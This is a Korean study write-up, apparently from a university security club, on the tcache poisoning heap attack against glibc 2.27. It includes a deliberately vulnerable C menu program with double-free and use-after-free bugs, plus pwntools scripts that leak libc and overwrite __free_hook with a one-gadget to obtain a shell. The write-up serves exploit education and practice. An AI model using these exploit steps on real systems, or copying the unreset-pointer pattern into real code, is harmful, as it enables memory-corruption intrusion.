본문 바로가기

SYSTEM HACKING

[SWING] Pwnable 05 - Tcache Poisoning

Tcache Poisoning

tcache를 조작하여 임의 주소에 청크를 할당시키는 공격 기법

 

중복 연결된 청크를 재할당하면, 할당된 청크인 동시에 해제된 청크가 된다.

 

아래 그림에서 왼쪽은 할당된 청크의 레이아웃이고, 오른쪽은 해제된 청크의 레이아웃이다.

할당된 청크에서는 데이터를 저장하는 부분을, 해제된 청크에서는 fd 값과 bk 값을 저장하는데 사용한다.

 

 

 

공격자가 중첩 상태인 청크에 임의의 값을 씀으로써, fd와 bk를 조작할 수 있으며, ptmalloc2의 free list에 임의 주소를 추가할 수 있다.

그리고 ptmalloc2이 동적 할당 요청에 free list 청크를 먼저 반환하는 것을 이용하면, 임의 주소에 청크를 할당할 수 있다.

 

할당한 청크에 값을 출력/조작 -> 임의 주소 읽기(Arbitrary Address Read, AAR) 가능

 

 

분석 및 설계

보호 기법

 

NX, FULL RELRO 보호 기법이 적용되어 있어 셸 코드 실행, GOT 오버라이트 공격이 어렵다.

하지만 훅을 덮는 공격은 고려해볼 수 있겠다.

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  void *chunk = NULL;
  unsigned int size;
  int idx;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    printf("1. Allocate\n");
    printf("2. Free\n");
    printf("3. Print\n");
    printf("4. Edit\n");
    scanf("%d", &idx);

    switch (idx) {
      case 1:
        printf("Size: ");
        scanf("%d", &size);
        chunk = malloc(size);
        printf("Content: ");
        read(0, chunk, size - 1);
        break;
      case 2:
        free(chunk);
        break;
      case 3:
        printf("Content: %s", chunk);
        break;
      case 4:
        printf("Edit chunk: ");
        read(0, chunk, size - 1);
        break;
      default:
        break;
    }
  }
  
  return 0;
}

 

청크 임의 크기 할당 / 해제 / 출력 / 조작 모두 가능

case 2: 청크 해제, 그러나 chunk 포인터 초기화 하지 않음 -> 다시 해제 가능 -> Double Free 취약점

case 4: chunk 포인터 초기화 하지 않음 -> 해제된 청크 데이터 조작 가능 -> Double Free 보호 기법 우회 가능

 

청크 Double Free -> free list인 tcache에 중복 연결 -> 재할당 -> 할당된 청크인 동시에 free list에 존재하는 청크

-> Tcache Poisoning 공격 가능 -> 임의 주소에 청크 할당 -> 임의 주소 읽기 / 쓰기 가능

 

 

 

익스플로잇 설계

익스플로잇 목표: 훅을 덮어서 실행 흐름을 조작해 셸을 획득하는 것

 

임의 주소 읽기 -> libc가 매핑된 주소를 알아내기 -> __free_hook 또는 __malloc_hook 주소 계산

임의 주소 쓰기 -> 해당 주소에 원 가젯 주소 덮어쓰기

 

1. Tcache Poisoning

임의 주소 읽기 / 쓰기를 위해 Tcache Poisoning 사용

적당한 크기 청크 할당 -> key 조작 -> 다시 해제 -> Tcache Poisoning 가능

-> 다시 청크 할당 -> 값으로 원하는 주소 쓰기 -> tcache에 임의 주소 추가됨

2. Libc leak

setvbuf 함수에 인자로 전달되는 stdin, stdout = 각각 libc 내부의 IO_2_1_stdin, IO_2_1_stdout 를 가리키는 포인터 변수

-> 둘 중 한 변수의 값을 읽으면, libc 주소 계산 가능

 

위의 포인터들 = 전역변수로서 bss에 위치함

PIE가 적용되어 있지 않음 -> 포인터 주소 고정

Tcache Poisoning -> 포인터 변수 주소에 청크를 할당 -> 값 읽기 가능

3. Hook overwrite to get shell

방금 구한 Libc가 매핑된 주소 -> 원 가젯의 주소와 __free_hook 주소 계산 가능

Tcache Poisoning -> __free_hook에 청크 할당 -> 청크에 원 가젯 주소 입력 -> free 호출 -> 셸 획득

 

익스플로잇

Tcache 연결 리스트 조작

#!/usr/bin/env python3
# Name: tcache_poison.py
from pwn import *

p = process('./tcache_poison')
e = ELF('./tcache_poison')

def slog(symbol, addr): return success(symbol + ': ' + hex(addr))

def alloc(size, data):
    p.sendlineafter(b'Edit\n', b'1')
    p.sendlineafter(b':', str(size).encode())
    p.sendafter(b':', data)

def free():
    p.sendlineafter(b'Edit\n', b'2')

def print_chunk():
    p.sendlineafter(b'Edit\n', b'3')

def edit(data):
    p.sendlineafter(b'Edit\n', b'4')
    p.sendafter(b':', data)

# Initial tcache[0x40] is empty.
# tcache[0x40]: Empty

# Allocate and free a chunk of size 0x40 (chunk A)
# tcache[0x40]: chunk A
alloc(0x30, b'dreamhack')
free()

# Free chunk A again, bypassing the DFB mitigation
# tcache[0x40]: chunk A -> chunk A
edit(b'B'*8 + b'\x00')
free()

# Append 0x4141414141414141 to tcache[0x40]
# tcache[0x40]: chunk A -> 0x4141414141414141
alloc(0x30, b'AAAAAAAA')

p.interactive()

 

 

 

라이브러리 릭

#!/usr/bin/env python3
# Name: tcache_poison.py
from pwn import *

p = process('./tcache_poison')
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')

def slog(symbol, addr): return success(symbol + ': ' + hex(addr))

def alloc(size, data):
    p.sendlineafter(b'Edit\n', b'1')
    p.sendlineafter(b':', str(size).encode())
    p.sendafter(b':', data)

def free():
    p.sendlineafter(b'Edit\n', b'2')

def print_chunk():
    p.sendlineafter(b'Edit\n', b'3')

def edit(data):
    p.sendlineafter(b'Edit\n', b'4')
    p.sendafter(b':', data)

# Initial tcache[0x40] is empty.
# tcache[0x40]: Empty

# Allocate and free a chunk of size 0x40 (chunk A)
# tcache[0x40]: chunk A
alloc(0x30, b'dreamhack')
free()

# Free chunk A again, bypassing the DFB mitigation
# tcache[0x40]: chunk A -> chunk A
edit(b'B'*8 + b'\x00')
free()

# Append address of `stdout` to tcache[0x40]
# tcache[0x40]: chunk A -> stdout -> _IO_2_1_stdout_ -> ...
addr_stdout = e.symbols['stdout']
alloc(0x30, p64(addr_stdout))

# tcache[0x40]: stdout -> _IO_2_1_stdout_ -> ...
alloc(0x30, b'BBBBBBBB')

# tcache[0x40]: _IO_2_1_stdout_ -> ...
_io_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout_'])[0:1] # least significant byte of _IO_2_1_stdout_
alloc(0x30, _io_2_1_stdout_lsb) # allocated at `stdout`

# Libc leak
print_chunk()
p.recvuntil('Content: ')
stdout = u64(p.recv(6).ljust(8, b'\x00'))
lb = stdout - libc.symbols['_IO_2_1_stdout_']
fh = lb + libc.symbols['__free_hook']
og = lb + 0x4f432

slog('libc_base', lb)
slog('free_hook', fh)
slog('one_gadget', og)

p.interactive()

 

 

 

훅 덮어쓰기

#!/usr/bin/env python3
# Name: tcache_poison.py
from pwn import *

p = process('./tcache_poison')
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')

def slog(symbol, addr): return success(symbol + ': ' + hex(addr))

def alloc(size, data):
    p.sendlineafter(b'Edit\n', b'1')
    p.sendlineafter(b':', str(size).encode())
    p.sendafter(b':', data)

def free():
    p.sendlineafter(b'Edit\n', b'2')

def print_chunk():
    p.sendlineafter(b'Edit\n', b'3')

def edit(data):
    p.sendlineafter(b'Edit\n', b'4')
    p.sendafter(b':', data)

# Initial tcache[0x40] is empty.
# tcache[0x40]: Empty

# Allocate and free a chunk of size 0x40 (chunk A)
# tcache[0x40]: chunk A
alloc(0x30, b'dreamhack')
free()

# Free chunk A again, bypassing the DFB mitigation
# tcache[0x40]: chunk A -> chunk A -> ...
edit(b'B'*8 + b'\x00')
free()

# Append address of `stdout` to tcache[0x40]
# tcache[0x40]: chunk A -> stdout -> _IO_2_1_stdout_ -> ...
addr_stdout = e.symbols['stdout']
alloc(0x30, p64(addr_stdout))

# tcache[0x40]: stdout -> _IO_2_1_stdout_ -> ...
alloc(0x30, b'BBBBBBBB')

# tcache[0x40]: _IO_2_1_stdout_ -> ...
_io_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout_'])[0:1] # least significant byte of _IO_2_1_stdout_
alloc(0x30, _io_2_1_stdout_lsb) # allocated at `stdout`

print_chunk()
p.recvuntil(b'Content: ')
stdout = u64(p.recv(6).ljust(8, b'\x00'))
lb = stdout - libc.symbols['_IO_2_1_stdout_']
fh = lb + libc.symbols['__free_hook']
og = lb + 0x4f432

slog('libc_base', lb)
slog('free_hook', fh)
slog('one_gadget', og)

# Overwrite the `__free_hook` with the address of one-gadget

# Initial tcache[0x50] is empty.
# tcache[0x50]: Empty

# tcache[0x50]: chunk B
alloc(0x40, b'dreamhack') # chunk B
free()

# tcache[0x50]: chunk B -> chunk B -> ...
edit(b'C'*8 + b'\x00')
free()

# tcache[0x50]: chunk B -> __free_hook
alloc(0x40, p64(fh))

# tcache[0x50]: __free_hook
alloc(0x40, b'D'*8)

# __free_hook = the address of one-gadget
alloc(0x40, p64(og))

# Call `free()` to get shell
free()

p.interactive()

 

 

 

 

'SYSTEM HACKING' 카테고리의 다른 글

[SWING] Pwnable 06 - Command Injection  (0) 2023.11.25
[SWING] Pwnable 06 - Type Error  (0) 2023.11.25
[SWING] Pwnable 05 - Double Free Bug  (0) 2023.11.19
[SWING] Pwnable 04 - Use After Free  (0) 2023.11.11
[SWING] Pwnable 04 - ptmalloc2  (0) 2023.11.11